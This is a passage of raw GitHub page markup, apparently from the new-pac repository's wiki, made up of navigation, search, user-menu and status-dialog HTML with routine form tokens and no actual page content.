1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg> </a> </div> <button class="btn-link mt-1 js-details-target d-lg-none" type="button" aria-label="Toggle navigation" aria-expanded="false"> <svg height="24" class="octicon octicon-three-bars notification-indicator" viewBox="0 0 12 16" version="1.1" width="18" aria-hidden="true"><path fill-rule="evenodd" d="M11.41 9H.59C0 9 0 8.59 0 8c0-.59 0-1 .59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zm0-4H.59C0 5 0 4.59 0 4c0-.59 0-1 .59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zM.59 11H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1H.59C0 13 0 12.59 0 12c0-.59 0-1 .59-1z"/></svg> </button> <div class="d-lg-none css-truncate css-truncate-target width-fit px-3"> <svg class="octicon octicon-repo" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg> <strong><a class="text-white" href="/Alvin9999">Alvin9999</a></strong> / <strong><a class="text-white" href="/Alvin9999/new-pac">new-pac</a></strong> </div> <div class="d-flex d-lg-none"> <div> <a aria-label="You have no unread notifications" class="notification-indicator tooltipped tooltipped-s my-2 my-lg-0 js-socket-channel js-notification-indicator" data-hotkey="g n" data-ga-click="Header, go to notifications, icon:read" data-channel="notification-changed:47923458" href="/notifications"> <span class="mail-status "></span> <svg class="octicon octicon-bell" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M14 12v1H0v-1l.73-.58c.77-.77.81-2.55 1.19-4.42C2.69 3.23 6 2 6 2c0-.55.45-1 1-1s1 .45 1 1c0 0 3.39 1.23 4.16 5 .38 1.88.42 3.66 1.19 4.42l.66.58H14zm-7 4c1.11 0 2-.89 2-2H5c0 1.11.89 2 2 2z"/></svg> </a> </div> </div> </div> <div class="HeaderMenu d-lg-flex flex-justify-between flex-auto"> <nav class="d-lg-flex" aria-label="Global"> <div class="py-3 py-lg-0"> <div class="header-search scoped-search site-scoped-search js-site-search position-relative js-jump-to" role="combobox" aria-owns="jump-to-results" aria-label="Search or jump to" aria-haspopup="listbox" aria-expanded="false" > <div class="position-relative"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="js-site-search-form" data-scope-type="Repository" data-scope-id="54544023" data-scoped-search-url="/Alvin9999/new-pac/search" data-unscoped-search-url="/search" action="/Alvin9999/new-pac/search" accept-charset="UTF-8" method="get"><input name="utf8" type="hidden" value="✓" /> <label class="form-control header-search-wrapper header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center js-chromeless-input-container"> <input type="text" class="form-control header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey="s,/" name="q" value="" placeholder="Search or jump to…" data-unscoped-placeholder="Search or jump to…" data-scoped-placeholder="Search or jump to…" autocapitalize="off" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search or jump to…" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations#csrf-token=FL2zGu0JiDlR80w7nUfjCOv/O+4Wj2wn1yymqMaAwwfxcDNw3Pt5jHw/ZZaE73Bf5Xb6QLkfLjF8po7ehDrb8w==" spellcheck="false" autocomplete="off" > <input type="hidden" class="js-site-search-type-field" name="type" > <img src="https://github.githubassets.com/images/search-key-slash.svg" alt="" class="mr-2 header-search-key-slash"> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <ul class="d-none js-jump-to-suggestions-template-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-suggestion" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href=""> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0 0 13 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 0 0 0-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"/></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this repository"> In this repository </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> </ul> <ul class="d-none js-jump-to-no-results-template-container"> <li class="d-flex flex-justify-center flex-items-center f5 d-none js-jump-to-suggestion p-2"> <span class="text-gray">No suggested jump to results</span> </li> </ul> <ul id="jump-to-results" role="listbox" class="p-0 m-0 js-navigation-container jump-to-suggestions-results-container js-jump-to-suggestions-results-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-scoped-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href=""> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0 0 13 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 0 0 0-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"/></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this repository"> In this repository </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-global-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href=""> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0 0 13 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 0 0 0-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"/></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this repository"> In this repository </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-center flex-items-center p-0 f5 js-jump-to-suggestion"> <img src="https://github.githubassets.com/images/spinners/octocat-spinner-128.gif" alt="Octocat Spinner Icon" class="m-2" width="28"> </li> </ul> </div> </label> </form> </div> </div> </div> <ul class="d-lg-flex pl-lg-2 flex-items-center text-bold list-style-none"> <li class="d-lg-none"> <a class="HeaderNavlink px-lg-2 py-2 py-lg-0" data-ga-click="Header, click, Nav menu - item:dashboard:user" aria-label="Dashboard" href="/dashboard"> Dashboard </a> </li> <li> <a class="js-selected-navigation-item HeaderNavlink px-lg-2 py-2 py-lg-0" data-hotkey="g p" data-ga-click="Header, click, Nav menu - item:pulls context:user" aria-label="Pull requests you created" data-selected-links="/pulls /pulls/assigned /pulls/mentioned /pulls" href="/pulls"> Pull requests </a> </li> <li> <a class="js-selected-navigation-item HeaderNavlink px-lg-2 py-2 py-lg-0" data-hotkey="g i" data-ga-click="Header, click, Nav menu - item:issues context:user" aria-label="Issues you created" data-selected-links="/issues /issues/assigned /issues/mentioned /issues" href="/issues"> Issues </a> </li> <li class="position-relative"> <a class="js-selected-navigation-item HeaderNavlink px-lg-2 py-2 py-lg-0" data-ga-click="Header, click, Nav menu - item:marketplace context:user" data-octo-click="marketplace_click" data-octo-dimensions="location:nav_bar" data-selected-links=" /marketplace" href="/marketplace"> Marketplace </a> </li> <li> <a class="js-selected-navigation-item HeaderNavlink px-lg-2 py-2 py-lg-0" data-ga-click="Header, click, Nav menu - item:explore" data-selected-links="/explore /trending /trending/developers /integrations /integrations/feature/code /integrations/feature/collaborate /integrations/feature/ship showcases showcases_search showcases_landing /explore" href="/explore"> Explore </a> </li> </ul> </nav> <div class="d-lg-flex"> <ul class="user-nav d-lg-flex flex-items-center list-style-none" id="user-links"> <li class="dropdown"> <span class="d-none d-lg-block px-2"> <a aria-label="You have no unread notifications" class="notification-indicator tooltipped tooltipped-s my-2 my-lg-0 js-socket-channel js-notification-indicator" data-hotkey="g n" data-ga-click="Header, go to notifications, icon:read" data-channel="notification-changed:47923458" href="/notifications"> <span class="mail-status "></span> <svg class="octicon octicon-bell" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M14 12v1H0v-1l.73-.58c.77-.77.81-2.55 1.19-4.42C2.69 3.23 6 2 6 2c0-.55.45-1 1-1s1 .45 1 1c0 0 3.39 1.23 4.16 5 .38 1.88.42 3.66 1.19 4.42l.66.58H14zm-7 4c1.11 0 2-.89 2-2H5c0 1.11.89 2 2 2z"/></svg> </a> </span> </li> <li class="dropdown"> <details class="details-overlay details-reset d-none d-lg-flex px-lg-2 py-2 py-lg-0 flex-items-center"> <summary class="HeaderNavlink" aria-label="Create new…" data-ga-click="Header, create new, icon:add"> <svg class="octicon octicon-plus float-left mr-1 mt-1" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 9H7v5H5V9H0V7h5V2h2v5h5v2z"/></svg> <span class="dropdown-caret mt-1"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw"> <a role="menuitem" class="dropdown-item" href="/new" data-ga-click="Header, create new repository"> New repository </a> <a role="menuitem" class="dropdown-item" href="/new/import" data-ga-click="Header, import a repository"> Import repository </a> <a role="menuitem" class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, create new gist"> New gist </a> <a role="menuitem" class="dropdown-item" href="/organizations/new" data-ga-click="Header, create new organization"> New organization </a> <div class="dropdown-divider"></div> <div class="dropdown-header"> <span title="Alvin9999/new-pac">This repository</span> </div> <a role="menuitem" class="dropdown-item" href="/Alvin9999/new-pac/issues/new" data-ga-click="Header, create new issue"> New issue </a> </details-menu> </details> </li> <li class="dropdown"> <a class="d-lg-none HeaderNavlink name tooltipped tooltipped-sw px-lg-2 py-2 py-lg-0" href="/p4g5" aria-label="View profile and more" aria-expanded="false" aria-haspopup="false"> <img alt="@p4g5" class="avatar float-left mr-1" src="https://avatars2.githubusercontent.com/u/47923458?s=40&v=4" height="20" width="20"> <span class="text-bold">p4g5</span> </a> <details class="details-overlay details-reset d-none d-lg-flex pl-lg-2 py-2 py-lg-0 flex-items-center"> <summary class="HeaderNavlink name mt-1" aria-label="View profile and more" data-ga-click="Header, show menu, icon:avatar"> <img alt="@p4g5" class="avatar float-left mr-1" src="https://avatars2.githubusercontent.com/u/47923458?s=40&v=4" height="20" width="20"> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw"> <div class="header-nav-current-user css-truncate"><a role="menuitem" class="no-underline user-profile-link px-3 pt-2 pb-2 mb-n2 mt-n1 d-block" href="/p4g5" data-ga-click="Header, go to profile, text:Signed in as">Signed in as <strong class="css-truncate-target">p4g5</strong></a></div> <div role="none" class="dropdown-divider"></div> <div class="px-3 f6 user-status-container js-user-status-context pb-1" data-url="/users/status?compact=1&link_mentions=0&truncate=1"> <div class="js-user-status-container user-status-compact" data-team-hovercards-enabled> <details class="js-user-status-details details-reset details-overlay details-overlay-dark"> <summary class="btn-link no-underline js-toggle-user-status-edit toggle-user-status-edit width-full" aria-haspopup="dialog" role="menuitem" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":12132898,"target":"EDIT_USER_STATUS","user_id":47923458,"client_id":"1815209117.1550905425","originating_request_id":"818C:75AC:15C5D83:291B1C2:5C7218B8","originating_url":"https://github.com/Alvin9999/new-pac/wiki"}}" data-hydro-click-hmac="ced5050557a7bdc853d992aa928100040ac79be23fc4cb6ea21f7760d65c248f"> <div class="f6 d-inline-block v-align-middle user-status-emoji-only-header pl-0 circle lh-condensed user-status-header " style="max-width: 29px"> <div class="user-status-emoji-container flex-shrink-0 mr-1"> <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8zm4.81 12.81a6.72 6.72 0 0 1-2.17 1.45c-.83.36-1.72.53-2.64.53-.92 0-1.81-.17-2.64-.53-.81-.34-1.55-.83-2.17-1.45a6.773 6.773 0 0 1-1.45-2.17A6.59 6.59 0 0 1 1.21 8c0-.92.17-1.81.53-2.64.34-.81.83-1.55 1.45-2.17.62-.62 1.36-1.11 2.17-1.45A6.59 6.59 0 0 1 8 1.21c.92 0 1.81.17 2.64.53.81.34 1.55.83 2.17 1.45.62.62 1.11 1.36 1.45 2.17.36.83.53 1.72.53 2.64 0 .92-.17 1.81-.53 2.64-.34.81-.83 1.55-1.45 2.17zM4 6.8v-.59c0-.66.53-1.19 1.2-1.19h.59c.66 0 1.19.53 1.19 1.19v.59c0 .67-.53 1.2-1.19 1.2H5.2C4.53 8 4 7.47 4 6.8zm5 0v-.59c0-.66.53-1.19 1.2-1.19h.59c.66 0 1.19.53 1.19 1.19v.59c0 .67-.53 1.2-1.19 1.2h-.59C9.53 8 9 7.47 9 6.8zm4 3.2c-.72 1.88-2.91 3-5 3s-4.28-1.13-5-3c-.14-.39.23-1 .66-1h8.59c.41 0 .89.61.75 1z"/></svg> </div> </div> <div class="d-inline-block v-align-middle user-status-message-wrapper f6 lh-condensed ws-normal pt-1"> <span class="link-gray">Set your status</span> </div> </summary> <details-dialog class="details-dialog rounded-1 anim-fade-in fast Box Box--overlay" role="dialog" tabindex="-1"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="position-relative flex-auto js-user-status-form" action="/users/status?compact=1&link_mentions=0&truncate=1" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="_method" value="put" /><input type="hidden" name="authenticity_token" value="UhUocX8QxRCQfi0VVq50V8DOQgt0VtegaH303QE9m8PCCEjaixc+T4i9Uc+Hu37cMb2xXx4TolEIzX4hl4y0uw==" /> <div class="Box-header bg-gray border-bottom p-3"> <button class="Box-btn-octicon js-toggle-user-status-edit btn-octicon float-right" type="reset" aria-label="Close dialog" data-close-dialog> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"/></svg> </button> <h3 class="Box-title f5 text-bold text-gray-dark">Edit status</h3> </div> <input type="hidden" name="emoji" class="js-user-status-emoji-field" value=""> <input type="hidden" name="organization_id" class="js-user-status-org-id-field" value=""> <div class="px-3 py-2 text-gray-dark"> <div class="js-characters-remaining-container js-suggester-container position-relative mt-2"> <div class="input-group d-table form-group my-0 js-user-status-form-group"> <span class="input-group-button d-table-cell v-align-middle" style="width: 1%"> <button type="button" aria-label="Choose an emoji" class="btn-outline btn js-toggle-user-status-emoji-picker bg-white btn-open-emoji-picker"> <span class="js-user-status-original-emoji" hidden></span> <span class="js-user-status-custom-emoji"></span> <span class="js-user-status-no-emoji-icon" > <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8zm4.81 12.81a6.72 6.72 0 0 1-2.17 1.45c-.83.36-1.72.53-2.64.53-.92 0-1.81-.17-2.64-.53-.81-.34-1.55-.83-2.17-1.45a6.773 6.773 0 0 1-1.45-2.17A6.59 6.59 0 0 1 1.21 8c0-.92.17-1.81.53-2.64.34-.81.83-1.55 1.45-2.17.62-.62 1.36-1.11 2.17-1.45A6.59 6.59 0 0 1 8 1.21c.92 0 1.81.17 2.64.53.81.34 1.55.83 2.17 1.45.62.62 1.11 1.36 1.45 2.17.36.83.53 1.72.53 2.64 0 .92-.17 1.81-.53 2.64-.34.81-.83 1.55-1.45 2.17zM4 6.8v-.59c0-.66.53-1.19 1.2-1.19h.59c.66 0 1.19.53 1.19 1.19v.59c0 .67-.53 1.2-1.19 1.2H5.2C4.53 8 4 7.47 4 6.8zm5 0v-.59c0-.66.53-1.19 1.2-1.19h.59c.66 0 1.19.53 1.19 1.19v.59c0 .67-.53 1.2-1.19 1.2h-.59C9.53 8 9 7.47 9 6.8zm4 3.2c-.72 1.88-2.91 3-5 3s-4.28-1.13-5-3c-.14-.39.23-1 .66-1h8.59c.41 0 .89.61.75 1z"/></svg> </span> </button> </span> <input type="text" autocomplete="off" autofocus data-maxlength="80" class="js-suggester-field d-table-cell width-full form-control js-user-status-message-field js-characters-remaining-field" placeholder="What's happening?" name="message" required value="" aria-label="What is your current status?"> <div class="error">Could not update your status, please try again.</div> </div> <div class="suggester-container"> <div class="suggester js-suggester js-navigation-container" data-url="/autocomplete/user-suggestions" data-no-org-url="/autocomplete/user-suggestions" data-org-url="/suggestions" hidden> </div> </div> <div style="margin-left: 53px" class="my-1 text-small label-characters-remaining js-characters-remaining" data-suffix="remaining" hidden> 80 remaining </div> </div> <include-fragment class="js-user-status-emoji-picker" data-url="/users/status/emoji"></include-fragment> <div class="overflow-auto" style="max-height: 33vh"> <div class="user-status-suggestions js-user-status-suggestions"> <h4 class="f6 text-normal my-3">Suggestions:</h4> <div class="mx-3 mt-2 clearfix"> <div class="float-left col-6"> <button type="button" value=":palm_tree:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link link-gray no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="palm_tree" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f334.png">🌴</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message" style="border-left: 1px solid transparent"> On vacation </div> </button> <button type="button" value=":face_with_thermometer:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link link-gray no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="face_with_thermometer" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f912.png">🤒</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message" style="border-left: 1px solid transparent"> Out sick </div> </button> </div> <div class="float-left col-6"> <button type="button" value=":house:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link link-gray no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="house" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3e0.png">🏠</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message" style="border-left: 1px solid transparent"> Working from home </div> </button> <button type="button" value=":dart:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link link-gray no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="dart" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3af.png">🎯</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message" style="border-left: 1px solid transparent"> Focusing </div> </button> </div> </div> </div> <div class="user-status-limited-availability-container"> <div class="form-checkbox my-0"> <input type="checkbox" name="limited_availability" value="1" class="js-user-status-limited-availability-checkbox" data-default-message="I may be slow to respond." aria-describedby="limited-availability-help-text-truncate-true" id="limited-availability-truncate-true"> <label class="d-block f5 text-gray-dark mb-1" for="limited-availability-truncate-true"> Busy </label> <p class="note" id="limited-availability-help-text-truncate-true"> When others mention you, assign you, or request your review, GitHub will let them know that you have limited availability. </p> </div> </div> </div> <include-fragment class="js-user-status-org-picker" data-url="/users/status/organizations"></include-fragment> </div> <div class="d-flex flex-items-center flex-justify-between p-3 border-top"> <button type="submit" disabled class="width-full btn btn-primary mr-2 js-user-status-submit"> Set status </button> <button type="button" disabled class="width-full js-clear-user-status-button btn ml-2 "> Clear status </button> </div> </form> </details-dialog> </details> </div> </div> <div role="none" class="dropdown-divider"></div> <a role="menuitem" class="dropdown-item" href="/p4g5" data-ga-click="Header, go to profile, text:your profile">Your profile</a> <a role="menuitem" class="dropdown-item" href="/p4g5?tab=repositories" data-ga-click="Header, go to repositories, text:your repositories">Your repositories</a> <a role="menuitem" class="dropdown-item" href="/p4g5?tab=projects" data-ga-click="Header, go to projects, text:your projects">Your projects</a> <a role="menuitem" class="dropdown-item" href="/p4g5?tab=stars" data-ga-click="Header, go to starred repos, text:your stars">Your stars</a> <a role="menuitem" class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, your gists, text:your gists">Your gists</a> <div role="none" class="dropdown-divider"></div> <a role="menuitem" class="dropdown-item" href="https://help.github.com" data-ga-click="Header, go to help, text:help">Help</a> <a role="menuitem" class="dropdown-item" href="/settings/profile" data-ga-click="Header, go to settings, icon:settings">Settings</a> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="logout-form" action="/logout" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="Y8HcCFJNTD+hYd7Kv9FtT+Xxj7WUTAFihH0C9cLChd+JHtM9aCiGPnCGrrkcg/KpMKG0LJm8JbL5T2kPHqYNjQ==" /> <button type="submit" class="dropdown-item dropdown-signout" data-ga-click="Header, sign out, icon:logout" role="menuitem"> Sign out </button> </form> </details-menu> </details> </li> </ul> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="d-lg-none" action="/logout" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="oluBBaw9qfMJXUP8GdR5bZc9/Gw7dMAE2fQ5JlOw2OBIhI4wllhj8ti6M4+6huaLQm3H9TaE5NSkxlLcj9RQsg==" /> <button type="submit" class="btn-link HeaderNavlink d-block width-full text-left py-2 text-bold" data-ga-click="Header, sign out, icon:logout" style="padding-left: 2px;"> <svg class="octicon octicon-sign-out v-align-middle" style="margin-right: 2px;" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 9V7H8V5h4V3l4 3-4 3zm-2 3H6V3L2 1h8v3h1V1c0-.55-.45-1-1-1H1C.45 0 0 .45 0 1v11.38c0 .39.22.73.55.91L6 16.01V13h4c.55 0 1-.45 1-1V8h-1v4z"/></svg> Sign out </button> </form> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="sr-only right-0" action="/logout" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" 